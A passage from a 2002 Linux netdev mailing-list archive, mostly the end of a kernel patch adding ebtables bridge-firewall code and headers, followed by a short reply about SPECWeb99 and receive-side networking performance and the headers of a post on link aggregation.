down_interruptible(&ebt_mutex); + if (ret != 0) + return ret; + if (!list_named_insert(&ebt_targets, target)) { + up(&ebt_mutex); + return -EEXIST; + } + up(&ebt_mutex); + MOD_INC_USE_COUNT; + + return 0; +} + +void ebt_unregister_target(struct ebt_target *target) +{ + down(&ebt_mutex); + LIST_DELETE(&ebt_targets, target); + up(&ebt_mutex); + MOD_DEC_USE_COUNT; +} + +int ebt_register_match(struct ebt_match *match) +{ + int ret; + + ret = down_interruptible(&ebt_mutex); + if (ret != 0) + return ret; + if (!list_named_insert(&ebt_matches, match)) { + up(&ebt_mutex); + return -EEXIST; + } + up(&ebt_mutex); + MOD_INC_USE_COUNT; + + return 0; +} + +void ebt_unregister_match(struct ebt_match *match) +{ + down(&ebt_mutex); + LIST_DELETE(&ebt_matches, match); + up(&ebt_mutex); + MOD_DEC_USE_COUNT; +} + +int ebt_register_watcher(struct ebt_watcher *watcher) +{ + int ret; + + ret = down_interruptible(&ebt_mutex); + if (ret != 0) + return ret; + if (!list_named_insert(&ebt_watchers, watcher)) { + up(&ebt_mutex); + return -EEXIST; + } + up(&ebt_mutex); + MOD_INC_USE_COUNT; + + return 0; +} + +void ebt_unregister_watcher(struct ebt_watcher *watcher) +{ + down(&ebt_mutex); + LIST_DELETE(&ebt_watchers, watcher); + up(&ebt_mutex); + MOD_DEC_USE_COUNT; +} + +int ebt_register_table(struct ebt_table *table) +{ + struct ebt_table_info *newinfo; + int ret, i, countersize; + + if (!table || !table->table ||!table->table->entries || + table->table->entries_size == 0 || + table->table->counters || table->private) { + BUGPRINT("Bad table data for ebt_register_table!!!\n"); + return -EINVAL; + } + + countersize = COUNTER_OFFSET(table->table->nentries) * NR_CPUS; + newinfo = (struct ebt_table_info *) + vmalloc(sizeof(struct ebt_table_info) + countersize); + ret = -ENOMEM; + if (!newinfo) + return -ENOMEM; + + newinfo->entries = (char *)vmalloc(table->table->entries_size); + if (!(newinfo->entries)) + goto free_newinfo; + + memcpy(newinfo->entries, table->table->entries, + table->table->entries_size); + + if (countersize) + memset(newinfo->counters, 0, countersize); + + // fill in newinfo and parse the entries + newinfo->chainstack = NULL; + ret = translate_table(table->table, newinfo); + if (ret != 0) { + BUGPRINT("Translate_table failed\n"); + goto free_chainstack; + } + + if (table->check && table->check(newinfo, table->valid_hooks)) { + BUGPRINT("The table doesn't like its own initial data, lol\n"); + return -EINVAL; + } + + table->private = newinfo; + table->lock = RW_LOCK_UNLOCKED; + ret = down_interruptible(&ebt_mutex); + if (ret != 0) + goto free_chainstack; + + if (list_named_find(&ebt_tables, table->name)) { + ret = -EEXIST; + BUGPRINT("Table name already exists\n"); + goto free_unlock; + } + + list_prepend(&ebt_tables, table); + up(&ebt_mutex); + MOD_INC_USE_COUNT; + return 0; +free_unlock: + up(&ebt_mutex); +free_chainstack: + if (newinfo->chainstack) { + for (i = 0; i < NR_CPUS; i++) + vfree(newinfo->chainstack[i]); + vfree(newinfo->chainstack); + } + vfree(newinfo->entries); +free_newinfo: + vfree(newinfo); + return ret; +} + +void ebt_unregister_table(struct ebt_table *table) +{ + int i; + + if (!table) { + BUGPRINT("Request to unregister NULL table!!!\n"); + return; + } + down(&ebt_mutex); + LIST_DELETE(&ebt_tables, table); + up(&ebt_mutex); + EBT_ENTRY_ITERATE(table->private->entries, + table->private->entries_size, ebt_cleanup_entry, NULL); + if (table->private->entries) + vfree(table->private->entries); + if (table->private->chainstack) { + for (i = 0; i < NR_CPUS; i++) + vfree(table->private->chainstack[i]); + vfree(table->private->chainstack); + } + vfree(table->private); + MOD_DEC_USE_COUNT; +} + +// userspace just supplied us with counters +static int update_counters(void *user, unsigned int len) +{ + int i, ret; + struct ebt_counter *tmp; + struct ebt_replace hlp; + struct ebt_table *t; + + if (copy_from_user(&hlp, user, sizeof(hlp))) + return -EFAULT; + + if (len != sizeof(hlp) + hlp.num_counters * sizeof(struct ebt_counter)) + return -EINVAL; + if (hlp.num_counters == 0) + return -EINVAL; + + if ( !(tmp = (struct ebt_counter *) + vmalloc(hlp.num_counters * sizeof(struct ebt_counter))) ){ + MEMPRINT("Update_counters && nomemory\n"); + return -ENOMEM; + } + + t = find_table_lock(hlp.name, &ret, &ebt_mutex); + if (!t) + goto free_tmp; + + if (hlp.num_counters != t->private->nentries) { + BUGPRINT("Wrong nr of counters\n"); + ret = -EINVAL; + goto unlock_mutex; + } + + if ( copy_from_user(tmp, hlp.counters, + hlp.num_counters * sizeof(struct ebt_counter)) ) { + BUGPRINT("Updata_counters && !cfu\n"); + ret = -EFAULT; + goto unlock_mutex; + } + + // we want an atomic add of the counters + write_lock_bh(&t->lock); + + // we add to the counters of the first cpu + for (i = 0; i < hlp.num_counters; i++) + t->private->counters[i].pcnt += tmp[i].pcnt; + + write_unlock_bh(&t->lock); + ret = 0; +unlock_mutex: + up(&ebt_mutex); +free_tmp: + vfree(tmp); + return ret; +} + +static inline int ebt_make_matchname(struct ebt_entry_match *m, + char *base, char *ubase) +{ + char *hlp = ubase - base + (char *)m; + if (copy_to_user(hlp, m->u.match->name, EBT_FUNCTION_MAXNAMELEN)) + return -EFAULT; + return 0; +} + +static inline int ebt_make_watchername(struct ebt_entry_watcher *w, + char *base, char *ubase) +{ + char *hlp = ubase - base + (char *)w; + if (copy_to_user(hlp , w->u.watcher->name, EBT_FUNCTION_MAXNAMELEN)) + return -EFAULT; + return 0; +} + +static inline int ebt_make_names(struct ebt_entry *e, char *base, char *ubase) +{ + int ret; + char *hlp; + struct ebt_entry_target *t; + + if ((e->bitmask & EBT_ENTRY_OR_ENTRIES) == 0) + return 0; + + hlp = ubase - base + (char *)e + e->target_offset; + t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); + + ret = EBT_MATCH_ITERATE(e, ebt_make_matchname, base, ubase); + if (ret != 0) + return ret; + ret = EBT_WATCHER_ITERATE(e, ebt_make_watchername, base, ubase); + if (ret != 0) + return ret; + if (copy_to_user(hlp, t->u.target->name, EBT_FUNCTION_MAXNAMELEN)) + return -EFAULT; + return 0; +} + +// called with ebt_mutex down +static int copy_everything_to_user(struct ebt_table *t, void *user, + int *len, int cmd) +{ + struct ebt_replace tmp; + struct ebt_counter *counterstmp, *oldcounters; + unsigned int entries_size, nentries; + char *entries; + + if (cmd == EBT_SO_GET_ENTRIES) { + entries_size = t->private->entries_size; + nentries = t->private->nentries; + entries = t->private->entries; + oldcounters = t->private->counters; + } else { + entries_size = t->table->entries_size; + nentries = t->table->nentries; + entries = t->table->entries; + oldcounters = t->table->counters; + } + + if (copy_from_user(&tmp, user, sizeof(tmp))) { + BUGPRINT("Cfu didn't work\n"); + return -EFAULT; + } + + if (*len != sizeof(struct ebt_replace) + entries_size + + (tmp.num_counters? nentries * sizeof(struct ebt_counter): 0)) { + BUGPRINT("Wrong size\n"); + return -EINVAL; + } + + if (tmp.nentries != nentries) { + BUGPRINT("Nentries wrong\n"); + return -EINVAL; + } + + if (tmp.entries_size != entries_size) { + BUGPRINT("Wrong size\n"); + return -EINVAL; + } + + // userspace might not need the counters + if (tmp.num_counters) { + if (tmp.num_counters != nentries) { + BUGPRINT("Num_counters wrong\n"); + return -EINVAL; + } + counterstmp = (struct ebt_counter *) + vmalloc(nentries * sizeof(struct ebt_counter)); + if (!counterstmp) { + MEMPRINT("Couldn't copy counters, out of memory\n"); + return -ENOMEM; + } + write_lock_bh(&t->lock); + get_counters(oldcounters, counterstmp, nentries); + write_unlock_bh(&t->lock); + + if (copy_to_user(tmp.counters, counterstmp, + nentries * sizeof(struct ebt_counter))) { + BUGPRINT("Couldn't copy counters to userspace\n"); + vfree(counterstmp); + return -EFAULT; + } + vfree(counterstmp); + } + + if (copy_to_user(tmp.entries, entries, entries_size)) { + BUGPRINT("Couldn't copy entries to userspace\n"); + return -EFAULT; + } + // set the match/watcher/target names right + return EBT_ENTRY_ITERATE(entries, entries_size, + ebt_make_names, entries, tmp.entries); +} + +static int do_ebt_set_ctl(struct sock *sk, + int cmd, void *user, unsigned int len) +{ + int ret; + + switch(cmd) { + case EBT_SO_SET_ENTRIES: + ret = do_replace(user, len); + break; + case EBT_SO_SET_COUNTERS: + ret = update_counters(user, len); + break; + default: + ret = -EINVAL; + } + return ret; +} + +static int do_ebt_get_ctl(struct sock *sk, int cmd, void *user, int *len) +{ + int ret; + struct ebt_replace tmp; + struct ebt_table *t; + + if (copy_from_user(&tmp, user, sizeof(tmp))) + return -EFAULT; + + t = find_table_lock(tmp.name, &ret, &ebt_mutex); + if (!t) + return ret; + + switch(cmd) { + case EBT_SO_GET_INFO: + case EBT_SO_GET_INIT_INFO: + if (*len != sizeof(struct ebt_replace)){ + ret = -EINVAL; + up(&ebt_mutex); + break; + } + if (cmd == EBT_SO_GET_INFO) { + tmp.nentries = t->private->nentries; + tmp.entries_size = t->private->entries_size; + tmp.valid_hooks = t->valid_hooks; + } else { + tmp.nentries = t->table->nentries; + tmp.entries_size = t->table->entries_size; + tmp.valid_hooks = t->table->valid_hooks; + } + up(&ebt_mutex); + if (copy_to_user(user, &tmp, *len) != 0){ + BUGPRINT("c2u Didn't work\n"); + ret = -EFAULT; + break; + } + ret = 0; + break; + + case EBT_SO_GET_ENTRIES: + case EBT_SO_GET_INIT_ENTRIES: + ret = copy_everything_to_user(t, user, len, cmd); + up(&ebt_mutex); + break; + + default: + up(&ebt_mutex); + ret = -EINVAL; + } + + return ret; +} + +static struct nf_sockopt_ops ebt_sockopts = +{ { NULL, NULL }, PF_INET, EBT_BASE_CTL, EBT_SO_SET_MAX + 1, do_ebt_set_ctl, + EBT_BASE_CTL, EBT_SO_GET_MAX + 1, do_ebt_get_ctl, 0, NULL +}; + +static int __init init(void) +{ + int ret; + + down(&ebt_mutex); + list_named_insert(&ebt_targets, &ebt_standard_target); + up(&ebt_mutex); + if ((ret = nf_register_sockopt(&ebt_sockopts)) < 0) + return ret; + + printk("Ebtables v2.0 registered"); + return 0; +} + +static void __exit fini(void) +{ + nf_unregister_sockopt(&ebt_sockopts); + printk("Ebtables v2.0 unregistered"); +} + +EXPORT_SYMBOL(ebt_register_table); +EXPORT_SYMBOL(ebt_unregister_table); +EXPORT_SYMBOL(ebt_register_match); +EXPORT_SYMBOL(ebt_unregister_match); +EXPORT_SYMBOL(ebt_register_watcher); +EXPORT_SYMBOL(ebt_unregister_watcher); +EXPORT_SYMBOL(ebt_register_target); +EXPORT_SYMBOL(ebt_unregister_target); +EXPORT_SYMBOL(ebt_do_table); +module_init(init); +module_exit(fini); +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebtables.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,358 @@ +/* + * ebtables + * + * Authors: + * Bart De Schuymer + * + * ebtables.c,v 2.0, April, 2002 + * + * This code is stongly inspired on the iptables code which is + * Copyright (C) 1999 Paul `Rusty' Russell & Michael J. Neuling + */ + +#ifndef __LINUX_BRIDGE_EFF_H +#define __LINUX_BRIDGE_EFF_H +#include +#include +#include + +#define EBT_TABLE_MAXNAMELEN 32 +#define EBT_CHAIN_MAXNAMELEN EBT_TABLE_MAXNAMELEN +#define EBT_FUNCTION_MAXNAMELEN EBT_TABLE_MAXNAMELEN + +// [gs]etsockopt numbers +#define EBT_BASE_CTL 128 + +#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL) +#define EBT_SO_SET_COUNTERS (EBT_SO_SET_ENTRIES+1) +#define EBT_SO_SET_MAX (EBT_SO_SET_COUNTERS+1) + +#define EBT_SO_GET_INFO (EBT_BASE_CTL) +#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO+1) +#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES+1) +#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO+1) +#define EBT_SO_GET_MAX (EBT_SO_GET_INIT_ENTRIES+1) + +// verdicts >0 are "branches" +#define EBT_ACCEPT -1 +#define EBT_DROP -2 +#define EBT_CONTINUE -3 +#define EBT_RETURN -4 +#define NUM_STANDARD_TARGETS 4 + +// return values for match() functions +#define EBT_MATCH 0 +#define EBT_NOMATCH 1 + +struct ebt_counter +{ + uint64_t pcnt; +}; + +struct ebt_entries { + // this field is always set to zero + // See EBT_ENTRY_OR_ENTRIES. + // Must be same size as ebt_entry.bitmask + unsigned int distinguisher; + // the chain name + char name[EBT_CHAIN_MAXNAMELEN]; + // counter offset for this chain + unsigned int counter_offset; + // one standard (accept, drop, return) per hook + int policy; + // nr. of entries + unsigned int nentries; + // entry list + char data[0]; +}; + +// used for the bitmask of struct ebt_entry + +// This is a hack to make a difference between an ebt_entry struct and an +// ebt_entries struct when traversing the entries from start to end. +// Using this simplifies the code alot, while still being able to use +// ebt_entries. +// Contrary, iptables doesn't use something like ebt_entries and therefore uses +// different techniques for naming the policy and such. So, iptables doesn't +// need a hack like this. +#define EBT_ENTRY_OR_ENTRIES 0x01 +// these are the normal masks +#define EBT_NOPROTO 0x02 +#define EBT_802_3 0x04 +#define EBT_SOURCEMAC 0x08 +#define EBT_DESTMAC 0x10 +#define EBT_F_MASK (EBT_NOPROTO | EBT_802_3 | EBT_SOURCEMAC | EBT_DESTMAC \ + | EBT_ENTRY_OR_ENTRIES) + +#define EBT_IPROTO 0x01 +#define EBT_IIN 0x02 +#define EBT_IOUT 0x04 +#define EBT_ISOURCE 0x8 +#define EBT_IDEST 0x10 +#define EBT_ILOGICALIN 0x20 +#define EBT_ILOGICALOUT 0x40 +#define EBT_INV_MASK (EBT_IPROTO | EBT_IIN | EBT_IOUT | EBT_ILOGICALIN \ + | EBT_ILOGICALOUT | EBT_ISOURCE | EBT_IDEST) + +struct ebt_entry_match +{ + union { + char name[EBT_FUNCTION_MAXNAMELEN]; + struct ebt_match *match; + } u; + // size of data + unsigned int match_size; + unsigned char data[0]; +}; + +struct ebt_entry_watcher +{ + union { + char name[EBT_FUNCTION_MAXNAMELEN]; + struct ebt_watcher *watcher; + } u; + // size of data + unsigned int watcher_size; + unsigned char data[0]; +}; + +struct ebt_entry_target +{ + union { + char name[EBT_FUNCTION_MAXNAMELEN]; + struct ebt_target *target; + } u; + // size of data + unsigned int target_size; + unsigned char data[0]; +}; + +#define EBT_STANDARD_TARGET "standard" +struct ebt_standard_target +{ + struct ebt_entry_target target; + int verdict; +}; + +// one entry +struct ebt_entry { + // this needs to be the first field + unsigned int bitmask; + unsigned int invflags; + uint16_t ethproto; + // the physical in-dev + char in[IFNAMSIZ]; + // the logical in-dev + char logical_in[IFNAMSIZ]; + // the physical out-dev + char out[IFNAMSIZ]; + // the logical out-dev + char logical_out[IFNAMSIZ]; + unsigned char sourcemac[ETH_ALEN]; + unsigned char sourcemsk[ETH_ALEN]; + unsigned char destmac[ETH_ALEN]; + unsigned char destmsk[ETH_ALEN]; + // sizeof ebt_entry + matches + unsigned int watchers_offset; + // sizeof ebt_entry + matches + watchers + unsigned int target_offset; + // sizeof ebt_entry + matches + watchers + target + unsigned int next_offset; + unsigned char elems[0]; +}; + +struct ebt_replace +{ + char name[EBT_TABLE_MAXNAMELEN]; + unsigned int valid_hooks; + // nr of rules in the table + unsigned int nentries; + // total size of the entries + unsigned int entries_size; + // start of the chains + struct ebt_entries *hook_entry[NF_BR_NUMHOOKS]; + // nr of counters userspace expects back + unsigned int num_counters; + // where the kernel will put the old counters + struct ebt_counter *counters; + char *entries; +}; + +#ifdef __KERNEL__ + +struct ebt_match +{ + struct list_head list; + const char name[EBT_FUNCTION_MAXNAMELEN]; + // 0 == it matches + int (*match)(const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out, const void *matchdata, + unsigned int datalen); + // 0 == let it in + int (*check)(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *matchdata, unsigned int datalen); + void (*destroy)(void *matchdata, unsigned int datalen); + struct module *me; +}; + +struct ebt_watcher +{ + struct list_head list; + const char name[EBT_FUNCTION_MAXNAMELEN]; + void (*watcher)(const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out, const void *watcherdata, + unsigned int datalen); + // 0 == let it in + int (*check)(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *watcherdata, unsigned int datalen); + void (*destroy)(void *watcherdata, unsigned int datalen); + struct module *me; +}; + +struct ebt_target +{ + struct list_head list; + const char name[EBT_FUNCTION_MAXNAMELEN]; + // returns one of the standard verdicts + int (*target)(struct sk_buff **pskb, unsigned int hooknr, + const struct net_device *in, const struct net_device *out, + const void *targetdata, unsigned int datalen); + // 0 == let it in + int (*check)(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *targetdata, unsigned int datalen); + void (*destroy)(void *targetdata, unsigned int datalen); + struct module *me; +}; + +// used for jumping from and into user defined chains (udc) +struct ebt_chainstack +{ + struct ebt_entries *chaininfo; // pointer to chain data + struct ebt_entry *e; // pointer to entry data + unsigned int n; // n'th entry +}; + +struct ebt_table_info +{ + // total size of the entries + unsigned int entries_size; + unsigned int nentries; + // pointers to the start of the chains + struct ebt_entries *hook_entry[NF_BR_NUMHOOKS]; + // room to maintain the stack used for jumping from and into udc + struct ebt_chainstack **chainstack; + char *entries; + struct ebt_counter counters[0] ____cacheline_aligned; +}; + +struct ebt_table +{ + struct list_head list; + char name[EBT_TABLE_MAXNAMELEN]; + struct ebt_replace *table; + unsigned int valid_hooks; + rwlock_t lock; + // e.g. could be the table explicitly only allows certain + // matches, targets, ... 0 == let it in + int (*check)(const struct ebt_table_info *info, + unsigned int valid_hooks); + // the data used by the kernel + struct ebt_table_info *private; +}; + +extern int ebt_register_table(struct ebt_table *table); +extern void ebt_unregister_table(struct ebt_table *table); +extern int ebt_register_match(struct ebt_match *match); +extern void ebt_unregister_match(struct ebt_match *match); +extern int ebt_register_watcher(struct ebt_watcher *watcher); +extern void ebt_unregister_watcher(struct ebt_watcher *watcher); +extern int ebt_register_target(struct ebt_target *target); +extern void ebt_unregister_target(struct ebt_target *target); +extern unsigned int ebt_do_table(unsigned int hook, struct sk_buff **pskb, + const struct net_device *in, const struct net_device *out, + struct ebt_table *table); + + // Used in the kernel match() functions +#define FWINV(bool,invflg) ((bool) ^ !!(info->invflags & invflg)) +// True if the hook mask denotes that the rule is in a base chain, +// used in the check() functions +#define BASE_CHAIN (hookmask & (1 << NF_BR_NUMHOOKS)) +// Clear the bit in the hook mask that tells if the rule is on a base chain +#define CLEAR_BASE_CHAIN_BIT (hookmask &= ~(1 << NF_BR_NUMHOOKS)) +// True if the target is not a standard target +#define INVALID_TARGET (info->target < -NUM_STANDARD_TARGETS || info->target >= 0) + +#endif /* __KERNEL__ */ + +// blatently stolen from ip_tables.h +// fn returns 0 to continue iteration +#define EBT_MATCH_ITERATE(e, fn, args...) \ +({ \ + unsigned int __i; \ + int __ret = 0; \ + struct ebt_entry_match *__match; \ + \ + for (__i = sizeof(struct ebt_entry); \ + __i < (e)->watchers_offset; \ + __i += __match->match_size + \ + sizeof(struct ebt_entry_match)) { \ + __match = (void *)(e) + __i; \ + \ + __ret = fn(__match , ## args); \ + if (__ret != 0) \ + break; \ + } \ + if (__ret == 0) { \ + if (__i != (e)->watchers_offset) \ + __ret = -EINVAL; \ + } \ + __ret; \ +}) + +#define EBT_WATCHER_ITERATE(e, fn, args...) \ +({ \ + unsigned int __i; \ + int __ret = 0; \ + struct ebt_entry_watcher *__watcher; \ + \ + for (__i = e->watchers_offset; \ + __i < (e)->target_offset; \ + __i += __watcher->watcher_size + \ + sizeof(struct ebt_entry_watcher)) { \ + __watcher = (void *)(e) + __i; \ + \ + __ret = fn(__watcher , ## args); \ + if (__ret != 0) \ + break; \ + } \ + if (__ret == 0) { \ + if (__i != (e)->target_offset) \ + __ret = -EINVAL; \ + } \ + __ret; \ +}) + +#define EBT_ENTRY_ITERATE(entries, size, fn, args...) \ +({ \ + unsigned int __i; \ + int __ret = 0; \ + struct ebt_entry *__entry; \ + \ + for (__i = 0; __i < (size);) { \ + __entry = (void *)(entries) + __i; \ + __ret = fn(__entry , ## args); \ + if (__ret != 0) \ + break; \ + if (__entry->bitmask != 0) \ + __i += __entry->next_offset; \ + else \ + __i += sizeof(struct ebt_entries); \ + } \ + if (__ret == 0) { \ + if (__i != (size)) \ + __ret = -EINVAL; \ + } \ + __ret; \ +}) + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_arp.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,26 @@ +#ifndef __LINUX_BRIDGE_EBT_ARP_H +#define __LINUX_BRIDGE_EBT_ARP_H + +#define EBT_ARP_OPCODE 0x01 +#define EBT_ARP_HTYPE 0x02 +#define EBT_ARP_PTYPE 0x04 +#define EBT_ARP_SRC_IP 0x08 +#define EBT_ARP_DST_IP 0x10 +#define EBT_ARP_MASK (EBT_ARP_OPCODE | EBT_ARP_HTYPE | EBT_ARP_PTYPE | \ + EBT_ARP_SRC_IP | EBT_ARP_DST_IP) +#define EBT_ARP_MATCH "arp" + +struct ebt_arp_info +{ + uint16_t htype; + uint16_t ptype; + uint16_t opcode; + uint32_t saddr; + uint32_t smsk; + uint32_t daddr; + uint32_t dmsk; + uint8_t bitmask; + uint8_t invflags; +}; + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_ip.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,24 @@ +#ifndef __LINUX_BRIDGE_EBT_IP_H +#define __LINUX_BRIDGE_EBT_IP_H + +#define EBT_IP_SOURCE 0x01 +#define EBT_IP_DEST 0x02 +#define EBT_IP_TOS 0x04 +#define EBT_IP_PROTO 0x08 +#define EBT_IP_MASK (EBT_IP_SOURCE | EBT_IP_DEST | EBT_IP_TOS | EBT_IP_PROTO) +#define EBT_IP_MATCH "ip" + +// the same values are used for the invflags +struct ebt_ip_info +{ + uint32_t saddr; + uint32_t daddr; + uint32_t smsk; + uint32_t dmsk; + uint8_t tos; + uint8_t protocol; + uint8_t bitmask; + uint8_t invflags; +}; + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_vlan.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,20 @@ +#ifndef __LINUX_BRIDGE_EBT_VLAN_H +#define __LINUX_BRIDGE_EBT_VLAN_H + +#define EBT_VLAN_ID 0x01 +#define EBT_VLAN_PRIO 0x02 +#define EBT_VLAN_ENCAP 0x04 +#define EBT_VLAN_MASK (EBT_VLAN_ID | EBT_VLAN_PRIO | EBT_VLAN_ENCAP) +#define EBT_VLAN_MATCH "vlan" + +struct ebt_vlan_info { + uint16_t id; /* VLAN ID {1-4095} */ + uint8_t prio; /* VLAN User Priority {0-7} */ + uint16_t encap; /* VLAN Encapsulated frame code {0-65535} */ + uint8_t bitmask; /* Args bitmask bit 1=1 - ID arg, + bit 2=1 User-Priority arg, bit 3=1 encap*/ + uint8_t invflags; /* Inverse bitmask bit 1=1 - inversed ID arg, + bit 2=1 - inversed Pirority arg */ +}; + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_log.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,17 @@ +#ifndef __LINUX_BRIDGE_EBT_LOG_H +#define __LINUX_BRIDGE_EBT_LOG_H + +#define EBT_LOG_IP 0x01 // if the frame is made by ip, log the ip information +#define EBT_LOG_ARP 0x02 +#define EBT_LOG_MASK (EBT_LOG_IP | EBT_LOG_ARP) +#define EBT_LOG_PREFIX_SIZE 30 +#define EBT_LOG_WATCHER "log" + +struct ebt_log_info +{ + uint8_t loglevel; + uint8_t prefix[EBT_LOG_PREFIX_SIZE]; + uint32_t bitmask; +}; + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_nat.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,13 @@ +#ifndef __LINUX_BRIDGE_EBT_NAT_H +#define __LINUX_BRIDGE_EBT_NAT_H + +struct ebt_nat_info +{ + unsigned char mac[ETH_ALEN]; + // EBT_ACCEPT, EBT_DROP, EBT_CONTINUE or EBT_RETURN + int target; +}; +#define EBT_SNAT_TARGET "snat" +#define EBT_DNAT_TARGET "dnat" + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_redirect.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,11 @@ +#ifndef __LINUX_BRIDGE_EBT_REDIRECT_H +#define __LINUX_BRIDGE_EBT_REDIRECT_H + +struct ebt_redirect_info +{ + // EBT_ACCEPT, EBT_DROP or EBT_CONTINUE or EBT_RETURN + int target; +}; +#define EBT_REDIRECT_TARGET "redirect" + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_mark_m.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,15 @@ +#ifndef __LINUX_BRIDGE_EBT_MARK_M_H +#define __LINUX_BRIDGE_EBT_MARK_M_H + +#define EBT_MARK_AND 0x01 +#define EBT_MARK_OR 0x02 +#define EBT_MARK_MASK (EBT_MARK_AND | EBT_MARK_OR) +struct ebt_mark_m_info +{ + unsigned long mark, mask; + uint8_t invert; + uint8_t bitmask; +}; +#define EBT_MARK_MATCH "mark_m" + +#endif --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge/ebt_mark_t.h Wed Sep 11 23:06:55 2002 @@ -0,0 +1,12 @@ +#ifndef __LINUX_BRIDGE_EBT_MARK_T_H +#define __LINUX_BRIDGE_EBT_MARK_T_H + +struct ebt_mark_t_info +{ + unsigned long mark; + // EBT_ACCEPT, EBT_DROP or EBT_CONTINUE or EBT_RETURN + int target; +}; +#define EBT_MARK_TARGET "mark" + +#endif From niv@us.ibm.com Thu Sep 12 10:14:15 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 10:14:19 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CHEEtG009324 for ; Thu, 12 Sep 2002 10:14:15 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8CHIjIV260852; Thu, 12 Sep 2002 13:18:45 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8CHIbg2188610; Thu, 12 Sep 2002 13:18:38 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id A08513FE06; Thu, 12 Sep 2002 13:18:38 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id EFBC623C00F; Thu, 12 Sep 2002 13:18:37 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Thu, 12 Sep 2002 10:18:37 -0700 Message-ID: <1031851117.3d80cc6d8c8e0@imap.linux.ibm.com> Date: Thu, 12 Sep 2002 10:18:37 -0700 From: Nivedita Singhvi To: Todd Underwood Cc: "David S. Miller" , "hadi@cyberus.ca" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 164 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting Todd Underwood : > sorry for the late reply. catching up on kernel mail. > the main different, though, is that general purpose kernel > development still focussed on the improvements in *sending* speed. > for real high performance networking, the improvements are necessary > in *receiving* cpu utilization, in our estimation. > (see our analysis of interrupt overhead and the effect on receivers > at gigabit speeds--i hope that this has become common understanding > by now) Some of that may be a byproduct of the "all the worlds' a webserver" mindset - we are primarily focussed on the server side (aka money side ;)), and there is some amount of automatic thinking that this means we're going to be sending data and receiving small packets, mostly acks) in return. There is much less emphasis given to solving the problems on the other side (active connection scalability for instance), or other issues that manifest themselves as client side bottlenecks for most applications.. thanks, Nivedita From borisp@mc.com Thu Sep 12 11:34:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 11:34:51 -0700 (PDT) Received: from mc.com (iris.mc.com [192.233.16.119]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CIYjtG011212 for ; Thu, 12 Sep 2002 11:34:45 -0700 Received: from mc.com by mc.com (8.8.8+Sun/SMI-SVR4) id OAA11652; Thu, 12 Sep 2002 14:39:11 -0400 (EDT) Message-ID: <3D80DF4F.5B218F19@mc.com> Date: Thu, 12 Sep 2002 14:39:11 -0400 From: Boris Protopopov Organization: Mercury Computer Systems, Inc. X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: bonding vs 802.3ad/Cisco EtherChannel link agregation Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 165 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 